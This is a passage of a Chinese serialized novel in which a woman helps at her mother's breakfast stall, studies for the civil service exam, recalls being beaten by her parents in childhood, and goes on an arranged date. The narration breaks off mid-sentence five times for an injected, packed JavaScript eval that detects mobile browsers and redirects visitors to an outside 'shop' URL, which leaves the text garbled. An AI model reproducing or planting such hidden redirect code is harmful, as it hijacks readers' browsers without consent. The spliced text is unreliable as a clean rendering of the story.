同一句话,对于说的人和听的人,意义可以不同。人总是听到自己想听到的,看到自己想看到的。一千个人眼中有一千个哈姆雷特,我想,与这是相同的道理。在D站刷到《战马》剪辑,自我代入的是乔伊,它桀骜,却愿意帮人犁地;它极具灵性,给黑刺示意马具无害,并在黑刺脚踝受伤时主动跑到前面代替黑刺拉起重炮;它被铁刺困住,牵动着战场上敌对双方的心弦,一位战士举着白旗来到乔伊身边,另一边的敌人则带来了钳子,双方合力解决了它的麻烦。人因动物而更加动容。 可我不是马儿,我不能继续物化自己,榨尽自己最后一分精力。 23. 2025年6月,第24周 23 [2025年6月,第24周] 妈妈夜晚摆摊我过去帮忙,她不止一次对我说:“找不到工作没什么大不了的。你看店里,我一个人也忙不过来,可我们两个一起,那就不一样了。别人家姑娘想盘这样一个店面,她妈妈还帮不上忙呢!我们母女俩齐心协力,一定可以把早餐店做好,不会比谁过得差的!” 考公也好,再找工作也罢,我不在意妈妈怎么想,在早餐店帮工只会是临时。爸爸并不赞成我如此,我知道他面子上过不去,可我不觉得有什么。工作有辛苦和轻松之分,却不论贵贱。靠自己劳动所得,我不会瞧不起别人,亦不会因此觉得丢人。 即使继续从事虚幻,高强度的加班下,少有时间学习所需技能,更不会有精力自行开发游戏。若能考上公务员,除去离家近不用长途跋涉,在本就不大的工作强度下,朝九晚五可以保证充足的业余时间让我去做自己想做的事。加之工作稳定,我已无后顾之忧。我不会拘泥于形式,擅长根据当前形势灵活调整。我永远不会抛弃自己的专业,十多年的心血,何曾到了需要付之东流的地步!无关沉没成本,仰仗自己的本事,是我的立足之本。我可以因无所求而放弃生命,却不会在活着时背弃自己的灵魂。 早餐店起初开在外婆家隔壁,大舅妈常给妈妈打下手,那个时候,店里还卖面窝,这是当地人不论男女老少都爱的一种油炸小吃。由于下街客流少,妈妈才租借现在的店面。 到店帮工的第二周,妈妈把油锅、沥油架备齐,又找出窝勺,预备让我炸面窝。 搬去杉湖,寒暑假一人在家的日子,从煮馄饨到煎饺子,对付午饭我绰绰有余。爸妈只需提供饺子,他们演示怎么煎,我一次就学会。后来,他们偶有把饺子煎糊,我却能控制好火候,把饺子底部煎得焦黄酥脆。 我有些嘴馋。搬回榕潭后,很多东西吃不到,便自己网购食材,做给自己吃。这些年一个人住,伙食都是自行解决,原先工作不忙,我还会带饭。 妈妈敢把炸面窝这件事交给我,就不会有其他问题。我对此全无担忧。 面窝的米浆由大米和黄豆混合磨制而成,原先的料理机无法长时间工作,妈妈将其还给外婆家,购入一台大功率料理机,每天打完豆皮的米浆,接着打面窝的米浆。 店里有现成的单灶,之前的活计不变,完事后,我把单灶搬到马路边。其实我抬得动煤气罐,以往把脱兔四十磅狗粮运回家,我都不用推车。可妈妈还是抢着和我一起搬煤气罐。 一开始,我站在逆风处,热浪什么的倒还好,不过,几个早上之后,我没觉得油烟大,喉咙却不太舒服。于是,我背对着风向站,还带上口罩,效果不大,聊胜于无。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301298|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新买的铁锅需要好生开锅,长时间不用的窝勺,就像没开好的铁锅。 刚开始的那些天,我只能慢慢地等米浆与油接触的那一面定型,然后在油锅中缓缓左右晃动铁勺,意图增加另一面与热油的接触。直至看得到面窝底部和窝勺间的缝隙,用筷子一撬,二者才彻底分开。 路人看到这一刻,也不禁感慨一句“奇了怪了”。在他们印象中,窝勺一浸入油锅,不多时,面窝就该浮起来了。 这个时候,还不能给面窝翻面,底部才刚刚离开窝勺,立即翻面的话,非常容易散,须得让底部也定型,再将两面都炸至焦黄。 面窝出场,一跃成为店里最畅销的产品,一边炸,一边卖,还带动了客流。 恰逢集市那边的面窝摊不做了,还有人特意过来买。 妈妈现在每天准备两锅量的糯米,她又找出来一个大铁锅,七点不到的时候,开始制做第二锅豆皮。 我一边炸面窝,一边卖豆皮,七点半左右面窝炸完,八点出头,豆皮也卖得差不多了。 我和妈妈每日小计,营收可达到三百块,除去房租水电和原材料,还贷款之余,还能剩下一些。 人工真是不值钱呐!我不禁感慨。两个人都被吸在了店里,却发不出一份像样的工资。 先这样吧,过一天是一天。我在心里和自己说。 24. 2025年6月,第25周 24 [2025年6月,第25周] 办事处分房子的时候,爸爸资历并不够。由于是办事处的第一位大学生,颇得领导看重,这才有他的名额。大院就在办事处旁边,职员上班不过五分钟的路程。小学二年级,父母在商业街购置房子,便从大院搬了出来。 我记事晚,大院的邻居,除去个别几家,只不觉得眼生。搬到商业街,又过了几年,才与左邻右舍熟悉起来。 外婆的亲戚在省内其他城市;外公葬礼之前,我都不知道他有兄弟。与父母交好的,勉强数得出几个。在榕潭,我真正熟悉的,除了小学,就是商业街的邻居。说来也好笑,爸爸那边亲戚的辈分,都是素日从寥寥数语中收集得知。 现下在店里帮工,倒比从前与人热络。 在榕潭,俞姓并不多见。都姓俞的,相互之间多少沾亲带故。我知道的,除了俞处长,还有一个俞科长。大三暑假和爸爸同事去临市旅游,一行人中,就有俞科长的小孙子。返回杉湖后,大家在湖悦吃散伙饭,俞科长亦有出席。 爸爸曾和我讲过俞科长的趣事。早先在榕潭,大家生活都不富裕,俞家兄弟一起养鹅,日子过得也还行。爸爸说到兴头上,竟用“俞鹅娃”称呼。 “你胆子不小呀!也不怕别人听到给你穿小鞋。” “这有什么,俞科长还蛮喜欢别人这样喊他。” 可谓是不以为忤、反以为喜。俞科长不拘小节、返璞归真的生动形象跃然于脑海。 “小姜,按理说,你的退休金也不低呀,怎么搞这辛苦的事咧?” 来人大概也是原先大院的邻居。老人家说话中气十足,看上去精神矍铄。 “之前在医院上班属于临时工,退休的时候找不到记录,十几年的工龄相当于丢了,现在一个月到手也就三千多。” “你怎么不去找我二哥咧?你在医院做护士,这是大家都晓得的事。” “哎哟,又不只是我一个。能跑的地方都跑了,没有办法。” “嗯。”他停顿了一下。 “小丫头,给我装两个面窝,打包带走!” “好。”我手脚麻利地打包递给他。 待他走远,我问妈妈:“他二哥是谁?” “你不晓得?他和俞处长是兄弟。他们家兄弟六个,都从办事处退了下来。” 八点左右,面窝炸完。我把东西收拾归位,将小板凳挪到地面上。一边刷手机,一边守着没卖完的豆皮。 一辆奥迪A6停在了店门口。 妈妈走下台阶:“吴老板!真是稀客呀!今天蒙您大驾光临呀!” 那人关上车门,点了点头,目光扫到我。 “这是你姑娘?看着就像。” “是的。回来在家帮忙。” 那人目光中带几分打量。 “看着还蛮小啊。几岁了?书读完了吗?” “嘿嘿,不小了,大学都毕业了。” “没有找工作?长得还蛮秀气,要不要到我那里去做文员?” “那敢情好。做文员一个月可以拿多少钱呀?”妈妈问得直接。 “两三千总是有的。”他想了想,回答道。 妈妈转头望向我,笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301299|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“你去不去唦?” 我连忙摇摇头。 “个苕伢,这好的机会。”她感慨道。 我面带笑意,默不做声。 “我屋里伢不懂事,您别放在心上。” 那人也不在意,转头吩咐道:“给我下碗拌面,打包带走。” “好嘞!”妈妈回到屋内,再度忙活起来。 豆皮堪堪卖完,我正在收拾,妈妈突然探头,和我招呼道:“你看,这是哪个?” 只见一个与妈妈年纪相仿的女性带着口罩站在玻璃门旁。这我哪能认得出来。 见状,妈妈又说道:“这是鹄鹄哥哥的妈妈,再认出来了没?” 我记得钱鹄,他妈妈亦在卫生院上班。家中还有她和妈妈年轻时一起拍的老照片,两人身形相仿,站在白色圆形拱门里,一人着红色天鹅绒长裙,披着及肩卷发;另一人套着针织背心,下身笼着及踝白色纱裙,各有各的美。不过,岁月不饶人,如今她也膀大腰粗。 我点了点头,却拿不准喊什么。 妈妈看出我的窘迫,“按你爸爸的年纪算,要喊姨。” 言下之意,妈妈比这位要年轻好几岁。 “伯伯。”我随妈妈称呼。 “哎哟,这客气干嘛!”她客套道。 “小翕都长这么大了,”她面上有几分惊奇。“上回见面,还是她满巷子喊鹄鹄出去玩!”语气中夹杂着几分不善,仍可感知到嫌弃的意味。 我回想了下,有这么夸张吗? 妈妈还想和她谈会家常,她却推说自己有事,骑上自行车,朝下坡方向去。 25. 2025年6月,第25周 25 [2025年6月,第25周] 网上的课程很好地与时间做了绑定,我没有规划进度,随着课程的进行,逐渐加深对行测的了解。 其中,政治理论和考研政治一样,临考前的时事汇总必不可少。不过,理论考察占比较小,这部分需要背的不多。 常识这块,经济、法律、文化、地理、科技,都有涉及。本该让人觉得头大,我却隐隐有些期待。 虽是理科生,我涉猎却较广。上大学之后,买的都是些大部头书,可大学以前,从杂志到百家讲坛,我对当代文学和外国名著都有一定的了解,加之喜好电影,虽不精细,认知也绝非泛泛。 不过嘛,对常识这块能起到多大裨益,还得就事论事。 刚开始听课,还有几分新奇。预习资料,听老师讲解,在辅导书找到对应章节做习题,之后订正整理知识点,这一套流程下来,张弛有度。 我以前觉得,人要是起得早,一天能用的时间也更多。可早上忙完回家,不补觉不行。不过,即使这样,每天作息规律,时间的分配倒也固定。 白天,除去店里帮工和补觉,其余的时间一概用来学习,晚上的时间也都由我支配,每天过得还挺充实。 这天下午,妈妈发消息问我什么时候到店。我看了下时间,才四点半。虽有几分无奈,我还是放下手中的笔,前往店里。 店门口停着一辆款式小巧的蓝色电动车,冬天用的挡风被还没有拆卸,上面的小黄鸭图案倒也活泼。我认得这辆车,它的主人亦是妈妈在卫生院的同事,自外婆家搬到主街,还和大舅一家做了邻居。她女儿比我要大个几岁,会读书,性格也厉害,却不是欺负人的那种,以前常常和我斗嘴。 我刚上台阶,朝屋内的人喊道:“小鱼伯伯,妈!” “噫,你是怎么知道她来了咧?”妈妈还觉得奇怪。 “她电动车在楼下。”我解释道。 “小翕来了!”不同于有些长辈,小鱼伯伯看到我,也会先打招呼。 “你妈妈可真是厉害!说干就干,一个人硬是把早餐店做起来了。换是我,哪里做得到!”小鱼伯伯对妈妈赞不绝口。 “是的,多亏了她。” “你妈妈这样做可都是为了你呀!你要晓得她的好!” 我笑着点了点头。 她好像想说什么,又有些不好意思开口。 她把嘴一抿,心一横,和妈妈说道:“都是颜盐那婆娘,早上在店里见到你屋里小翕,连忙跑到我家,想让我给她说媒。”小鱼伯伯为人爽快耿直,出口常常惹人一惊。可若非如此,她也难和妈妈相交有年。 颜盐便是钱鹄的妈妈,她和小鱼伯伯同在药房工作。妈妈在急诊做护士,护士大多没有编制,当年下岗的那一拨人里,年轻护士首当其冲。 “她家钱鹄一直在相亲,又老相不中。颜盐说她儿子爱挑,喜欢长得小巧的,脸小的,看着可爱的。”小鱼伯伯边说边觑看我,声音渐小,心中有几分了然。 “我向来不管这种事,相得好我也没有好处,介绍得不好,还得罪人。可这回两边都是知根知底的,小翕是我看着长大的,在我心里和陈琪一样,我还能不为小翕好!”小鱼伯伯自白道。 “颜盐一眼就相中了你姑娘,” 她打趣道,“我推脱不了,只能答应她。午觉醒来又收到她消息,催我赶紧问你们。” “你谈了没唦?”她转而问我。 “谈了。” “真的假的?我都没听说。” 小鱼伯伯瞪大眼睛。 “真的,我骗你作甚。” 她又看向我妈,妈妈连忙摇头。小鱼伯伯嗔怪我一声:“这个鬼伢!” 我瞥了她一样,没有说话。 我没动过结婚的念头,因为我没想定下来。找个步调一致地,两个人也许能走得更远,可在两人的未来和我的未来之间作抉择,我不会让自己陷入这种处境。如果妥协势必出现,我的未来只会将妥协踩在脚底。我尊重他人的未来,也不打算为他人负责。因此,他人的真心,我敬而远之。 如果小鱼伯伯还记得,她在场的一次谈话中,我曾说过这样一段话:“劝我结婚吧,我又不是个受气的。一不小心捅死了别个,我还得去坐牢。” 父母打起架来好比家常便饭,这还不算太糟。 长大后脑海浮现的记忆,最早的一段,是我两岁时。 父母二人在家中大动干戈,妈妈武力上不敌,便使出传统妇女一哭二闹三上吊的家传。爸爸应该是第一次见到这种阵仗,他把我从房间拎出来,推到妈妈身前,让我劝她。犹记得扔在斑驳地板上的绿色尼龙绳,妈妈两腿分开跌坐在旁边,脸上满是泪痕。我想劝妈妈不要哭,抬起手想要拂拭她眼角。她再也忍不住,把我拉到怀里,抱着我放声大哭。 之后,他俩干起架来就很稀疏平常了,乡下打架的年轻夫妻不多,不过,也能拎得出一两对。爸爸并不是拿妈妈出气,他俩很容易起争执。至于动手之后有无出气的成分,就不作保证了。妈妈在多年的争吵里,精准地拿捏着爸爸的痛处,她还未对爸爸死心,就把怨气积攒在别处;每当她看不惯爸爸,就开始找地发挥,二人多是因此展开决斗。 我先是成为了妈妈的出气筒。奶奶在齐安的老房照顾溪辞,我断奶后,妈妈终于能把我送去那边,可不到一周,他们就把我送回了榕潭。为了和爸爸结婚,妈妈跟外公闹僵,直到我上小学,吃饭这个问题梗在眼前,外公点头后,我才开始频繁去到他们家。搬去杉湖之前,爸爸并不管我;妈妈下岗前,作为护士,三班倒是常态,因了把我带到值班室,她挨过不少批评。我年幼时,妈妈无从依恃,只能把我托付给邻居代为照看;待我稍大一些,她便放心地将我反锁在家。只她一人照看我的那些年,妈妈心中的怨气,抑无可抑。她亦发现,在这个家里,如果她也不去维护我,无论她怎么磋磨我,都不会有人在意,更不谈横加指责。对我而言,妈妈并非施暴,只是在穿衣、捏筷子、拧毛巾、认表这类小事上,过于严厉,也因此,相关的记忆,过于深刻。时至今日,我能觉察到过分,却仍然不能从这类事上感知到痛苦。无论妈妈如何对我,我骨裂她仍动手打我之前,她一直是这世上对我最好的人。 一次,我和妈妈外出久不归家。到家附近,月明星稀,爸爸已等在楼下。妈妈让我快跑,我不明所以,却依言照做。爸爸见状追起了我,当拳头落到我身上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301300|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛围诡异又和谐。 之后爸爸也加入了队伍。妈妈尚且借影响学习之名打我,爸爸揍我,则是诸如把输钱归结于我找他要钱买铅笔之类。 当他们俩都开始打我,夫妻关系反倒有所缓解。 上到高中,我意识到爸爸拿我出气,就像随便脚踢路边的小猫小狗一样。可他在外不会如此做,他不是失心疯,还极其爱面子。我也不是小猫小狗,我是人,人的生命出了问题,还有法律为之伸张正义。 父母早早地意识到这一点。他们不时打得如同乌眼鸡,却从未在任何一场互殴中下过死手。最难看的一次,妈妈脸上才有淤青。 他们揍我时,爸爸打头,妈妈用衣架抽我身体,这些都不易看出来。 可我不一样,即使是生命力最旺盛的高中,相比不顾一切地活着,不怕死地拼尽一切自卫不曾让我产生一丝一毫的恐惧。 我打开天燃气的阀门,拧开煤气灶,却又不点火。我把菜刀扔到厨房的地板上,放出我的宣言:“你有本事打啊,往死里打,你不打我,我自己打自己。”我赏了自己几个耳光,拉着爸爸的手往我头上招呼。他冷笑几声,抽回了手,头也不曾偏过。 自那以后,他也不再动手。 小鱼伯伯见我没说话,继续替钱鹄当说客:“那孩子跟他爸爸长得一个样,浓眉大眼的。一几年医院组织旅游,他还跟着去了,性情温和,和现在的男孩子都不太一样。” “他在哪里上班咧?”妈妈给她递话。 “在哪个事业单位做后勤的什么工程师吧?颜盐这样说的,我记不太清楚。” “他哪个学校毕业的?”我问道。我知道陈琦和我一样上的杉湖的省重点,钱鹄学习貌似还行,但我完全没听妈妈提过。 “这个也不蛮清楚,颜盐没提。” “他长得高吗?一百八十公分以下的我不考虑。”爸妈都有一百七十公分,上学前邻居找不到夸奖我的词,一律说我长大后一定是个高个。 小鱼伯伯有些心虚,“一百八十公分没有,我看有一百七十五。” “那不行,我不考虑。”我边摇头边说。 “哎哟,要那么高做什么?又不要他去打篮球。”妈妈替钱鹄说好话。我瞥了她一眼。 “是唦,生活中哪有这么高的,一百七十公分就不错了。”我没作声,小鱼伯伯的老公就是个大高个。 “先见一面,要是看不上,我绝对不劝你。” 小鱼伯伯见我拒绝的态度并不强烈,以退为进,想把这个事情敲定。 “这个事我就做主了啊,周六你们一起吃个饭。” 我看着她,有几分好笑,又不知道说什么好。一般人不会这么不识趣,上赶着让我做什么。一时之间,我不知如何应对。 真要说的话,我对钱鹄有几分好感。最后一次见面是在去学校的路上,他已升入初中,我还在上小学。那个时候我顶着个汉奸头,谈不上自卑,却也常常被人嘲笑。他那回主动把我载到小学门口,告别时,我问他:“我这样子是不是很丑?” 他笑了笑,摇了摇头。 这样的男孩子长大后是什么样子,从事怎么样的工作,为什么到现在还没有结婚,我很有些好奇。 26. 2025年6月,第25周 26 [2025年6月,第25周] 我在店里剥着第二天要用的小葱和蒜瓣,小鱼伯伯想起我和钱鹄还没有联系方式,去而复返。 “钱鹄他也同意?”我疑惑道。 “那有什么不同意的,他妈妈下午就问过他了。” 小鱼伯伯本想要我的手机号,可我在应用中设置了隐私。她便想着让我记下钱鹄的手机号,却被妈妈打断:“哪有女孩子主动加男孩子好友的,让他去想办法!” 我觉得有几分好笑,矜持有矜持的好处,日常与人交往,这却不是我的作风。我记下钱鹄的手机号,和小鱼伯伯说我等会加他。 小鱼伯伯看着我露出欣慰的笑容,带有几分认可,便再次回家去了。 在妈妈那吃完饭,我回到楼上,给脱兔穿好胸背,带它下去遛弯。申请钱鹄好友大概在下午六点,他七点之后才通过。 他解释说吃完饭才看到。 我完全不在意,他就算拒绝,也不会怎样。 记下钱鹄手机号,小鱼伯伯和我说:“他性子柔和,话不多,你不要见怪。”我并不在意她什么意思。同龄人都是独生子女,生了儿子又肖想女儿的不多,可生了女儿怎么看别人家儿子怎么顺眼的,不在少数。 妈妈更是当中的一朵奇葩。一三年启动实施“单独二孩”政策,我便试探着问她:“你觉得生女儿好还是男孩子好?” “唔……”她居然不表态。我自问从小到大,没给她丢过脸,她就我一个女儿,养到了二十岁,竟然还是觉得生男孩好。 我十分清楚,至少在她身上,外公外婆没有重男轻女。她想生儿子无外乎一个原因,表彰自己的功劳,增加在家中的话语权。我对此嗤之以鼻。 此外,还有一件事,也颇让我看不下去。二三年她搬回商业街,我让她把狗送去绝育。她虽然照做,事后却一再感到后悔。 “脱兔不也绝育了嘛!”我宽慰她道。 “那哪能一样!心心它可是公狗!公狗是有尊严的!” 真是滑天下之大稽。至今,她仍为替公狗去势耿耿于怀。 钱鹄怎样干我什么事?他今天可能因为这个性格吃亏,明日也可能因为这点受益。若是小鱼伯伯怕钱鹄到时候看不上我对我冷淡提前替他遮掩,那就有些搞笑了。总之,道德绑架这块,我看破不说破。 外婆家两个孙子一个外孙女,我没有因为性别拿到优待。表哥表弟身为男孩子,本性较寻常男生更佳。偶尔起性想要捉弄我,只要他们不找大人撑腰,也欺负不到我头上。虽也有似女生抱团排外的情况,他们顶多不带我玩,可我有得玩的、会玩的,比他们更多。在任何一个群体,提供道具、组织游戏的小孩,虽然不会因此更受欢迎,但也不会继续被排斥。 学校里,乖巧的女孩有老师喜爱,漂亮的女生受同学欢迎,可这一切,在成绩这种硬通货面前,只能作鸟兽散。 在榕潭读书这几年,班长、值日生、大队长,我可都不白当。当我脑袋比男生聪明,学习上也不是用功那挂,球类没他们玩得好、却也能够放开玩,我人生的精彩程度,便只由我自己掌控。 钱鹄第一个让我在意的地方,是他的头像。 卡通男童不算特别,可AI生成的卡通男童,既非来自动漫,则与喜好无关,用作头像,便直指自我投射。 我用他的手机号搜索他在其他应用的账号,发现这并非个例。他在一个常用的支付应用的账号头像,是网红情头小男孩,目测不到五岁。 他今年三十有五,表哥和他同岁,已有两个女儿。怎么说呢?他的心智貌似不太成熟。 当天稍晚他再次发来消息,“本来就觉得开空调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301301|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很干,听见外面起风,我把空调关了。” “阳台的风吹得好舒服。” 我向来没有这种柔软细腻的感触。我绝对不会在夏天关空调。不过,脑海却能浮现日漫里夏夜被微风吹拂的风铃,和主角倚在阳台眺望远处的身影。倒也不排斥。 我并未遵循网课的顺序听课,而是按照试卷上模块的顺序开展。整理政治理论和常识的题目,我需要做大量订正。繁琐是一方面,说不上来的隐隐不安是另一方面。 高中订正理综试卷于我毫无难度,老师讲解题目时我已充分理解,订正起来哗哗写个不停,权作加深印象,写完再也不翻。 可这仅限于注重思维的理科。我仗着自己理解能力好,连公式都是考试临场推导。儿时记忆力也不错,可多年荒废,再想拾起,心里也不大乐意。 订正越写越胶着,我索性放到一旁,开始听言语课。 钱鹄这些天晚上固定给我发消息,我做事时不喜被打扰,很有些烦躁。都是些没营养的对话,想起来才给他回复。他一收到消息,马上接着发。 周五晚上,他提议周六见一面。 这本就是小鱼伯伯两边说好的。我表示同意,和他确认了时间地点。就此,松了一口气。 周六早上下了点小雨,我仍去到店里工作,在屋内炸面窝。约好十一点见,我盘算着早些回家,可以多补会儿觉。 定好闹钟,我准时出门。我照常穿着T恤牛仔裤,斜挎一个赫歇尔的手机包。我没有化妆,不过,为了表示尊重,戴了隐形,涂了显气色的口红。 我先到了约定地点,可过了约定的时间,仍没有看到人影。 我有些无奈,给钱鹄发消息:“你现在在哪?” “刚出门,马上到。” 我关掉屏幕,举着伞,有些无聊地打量着来往的车辆。 27. 2025年6月,第25周 27 [2025年6月,第25周] 钱鹄事先已把他的照片发给我,他下车和我打招呼之前,我却没有认出他。 约定见面时间后,他担心到时候认不出来,建议互发照片。他先发了一张纯AI的美型男图片,我觉得他奶奶看了都不知作何感想。隐约能从图片分辨出他靠在铺着老式床单的老式铁床床头,头发偏分,长度和花美男形象契合,和现实却有些割裂。兴许他也觉得过了,又补发了一张日常照。 照片里他剃着平头,应该摄于冬日。身着黑色棉袄,领子有些起球。他皮肤白皙,毛孔粗大,左脸有个不大不小的痦子,嘴巴部位突出,显得嘴唇单薄。许是仰拍的缘故,下颌骨突出,眉毛倒是又浓又粗。 他解释说这是几年前拍得还算不错的照片。 我打小是个颜控。当即就对第二天的见面不抱期待。 他顺理成章让我发照片,我推说不喜欢拍照。 “是小翕吧?”被一个男生这么喊,我很有些不适。 我注意到他,脑袋堪堪从SUV的顶部冒出,发色有些红棕,貌似还有些细波纹路。面部线条相当柔和,几米开外,也能注意到堆起的苹果肌。 头发挡住了他视线,他扬着下巴,把刘海甩向一边。他继续看向我,面上满是欣喜。 不知怎的,一股违和涌上心头。 我朝SUV走去,亦有些不解。 我设想过打车,也想过他开车的可能,可我没想到他家会买这个牌子的车,还是辆SUV。 他父母都是工薪阶层,他的工资想来也就顾得上自个儿花。这个品牌,虽不是BBA之流,可即便是有些家底的家庭,也更偏向林肯这种标榜舒适和细节的品牌。 我上回见人开这个牌子的汽车,还是驷铠销售部的头头。平时接待客户,有撑场面的需求,又不宜越了过去。 他特意替我打开副驾驶的门,丝毫不接地气。我坐到车内,他先我一步关上门,也返回车中。 钱鹄身着棉麻黑色中袖衬衫,黑色休闲裤,脚上一双板鞋,侧面的白色PU革上缝着一个大勾勾。人到中年,还一副邻家小哥模样。 “你一点都没有长变呀!”他感慨道。 “那倒也不至于,变化不大就是了。”我仍和他说着榕潭的方言,这体验于我很是新鲜。 中控台上的装饰印着他的手机号,他将手机连上蓝牙,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301302|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些手忙脚乱。 “我们去哪里?”流行音乐响起,他微笑着问我。 “我都行。” “那去英特吧?”他提议道。 “行。”那地方离杉湖不远,但归属城区,是附近一个不错的商场。 他在手机输入目的地,耳边响起导航声:“准备出发,全程……” 他导航用的竟然也是男童音调的语音包。我皱起了眉头,看向他。 他右手把着方向盘,左手撸了下袖子,也扶上了方向盘。神情有些跃跃欲试,双眼直视前方。他修剪整齐的指甲微微有些锃亮,我把目光收回。 “你等了多久?”他侧头问我。 “比你早到一会。” 没多时,他开车到达商场附近,却继续朝室内开。 恰逢周末,又临近饭点,室外的停车位一眼都望不到空缺。我有几分不耐,面上没说什么。他在室内几次错车,最终跟着其他车,回到了室外停车场,在商场侧面的车道上,找到一个停车位。 见他停好车,我开车下门撑起了伞。他亦下车撑起伞。 “你要不要和我一起?我的伞比较大。” 我勉强笑了笑,摇摇头。 28. 2025年6月,第25周 28 [2025年6月,第25周] 商场里面熙来攘往,不过,餐厅这层人还不多。钱鹄提议了几个连锁餐厅,我听着无感,还有火锅这类,我都没答应。 他接到颜盐的一个电话。我放慢脚步,走在他后方。 他右手弓起,举着电话,左手却紧贴裤缝,像是在回忆什么。 通话结束,他随口解释他妈妈要去办事但不清楚要带哪些证件。 “你好高哇!”他感慨道。 “你身高多少?”他问我。 “一米六七、六八?”我习惯话不说满。 读书的时候,我就喜欢和女同学比身高,当然还有比我高的,不过,出操站队尾倒也不违和。虽然没有长到父母的高度,净身高也有一米六八。 我走在他身后,视线能平齐他头顶。不过从展示玻璃的倒影看,加上头发,他略微比我高一点。 两人在餐厅这层逛着,我在心中盘算中午吃什么比较合适。 钱鹄突然提议去吃烤鸭,我想起上次的经历,没有同意。他又提议去吃椰子鸡,我心中警铃大作,这分明是有人和他透露过我的喜好。 我不再守愚,提议去吃铁板烧。这个我不排斥,价格适宜,也不需要共用餐具。 店里还未坐满,服务员带路到里面的一张料理台,左侧已坐了一组客人。 入座后,钱鹄点了套餐。他就可选项目问过我意见,却没有让我看菜单。我没有推辞,做了几道听力题后,我在应用上找到了对应的套餐,点的都是大众口味的餐点,并就其中几项询问他的想法。 我已知道套餐的价格,他选的居中那个,刚好可以吃饱。和朋友在外面都是AA,一人买单,另一人发红包。可这回,我有些犯难:抢着买单吧,我不欲请他吃饭;给他发红包吧,又担心会伤到他自尊。关系不熟,颇不好举措。 厨师端着各种原材料站在料理台后,我看着他操作,钱鹄在旁边讲起自己的事。 他在一家商场做后勤维修,工作朝九晚五,午休长达三小时。美中不足的是周日需要上晚班。他通常周五回榕潭,周六由父母送回杉湖。周日他一人在家,睡醒后对付一餐,午后出门去单位。 他爸妈住在榕潭照顾他外婆,却每天开车去杉湖给他做晚饭。一家人吃完晚饭,父母再折返回乡下。 “你为什么不自己做饭?你爸妈这样跑得不累吗?”我指出问题。 “我手艺不行,自己都吃不下去。”他略有些赧颜。 一个愿打一个愿挨,我心想,这也是他的福气。 他毕业后自己找到这份工作,刚开始几年福利还不错,疫情之后,单位收益不行,又被收购,一应待遇有所下降,几个同事离职另谋高就,他则想着走一步看一步。 我点点头,疫情期间,公司垮了也不足为奇,就算扛过了疫情,各行各业都不太景气,能否撑到月明,除了靠自家本事,更看有没有机遇,又抓不抓得住。 “你呢?在做什么工作?”他转而问我。 “我之前做程序员。”我一向不吝啬透露自己的职业。 “那你工资一定很高吧?”他没避讳自己的薪资。和我预想的一样,他的工资养家不够,顾自己吃喝没有问题。不过,他是个有福气的,又是男性,他家的所有资源都为他所用。成家后不说过得多好,在父母的帮衬下,和和美美倒不成问题。 “我就是一IT农民工,” 我自嘲道。“没日没夜地加班,连加班费都没有。以前好歹还能调休,上家公司连调休都没得。” “就算是拿身体换钱,工资也没有网上说的那么高,勉强够自己用。”我回答道。 “年纪大了,这行干下去也看不到希望。我现在最羡慕的就是端着铁饭碗的那群人,人家这才叫大智慧呀!”我感慨道。 服务员把一组顾客迎到这张料理桌,入座右侧的位置。有老人和小孩,有夫妻和兄弟,好不热闹。 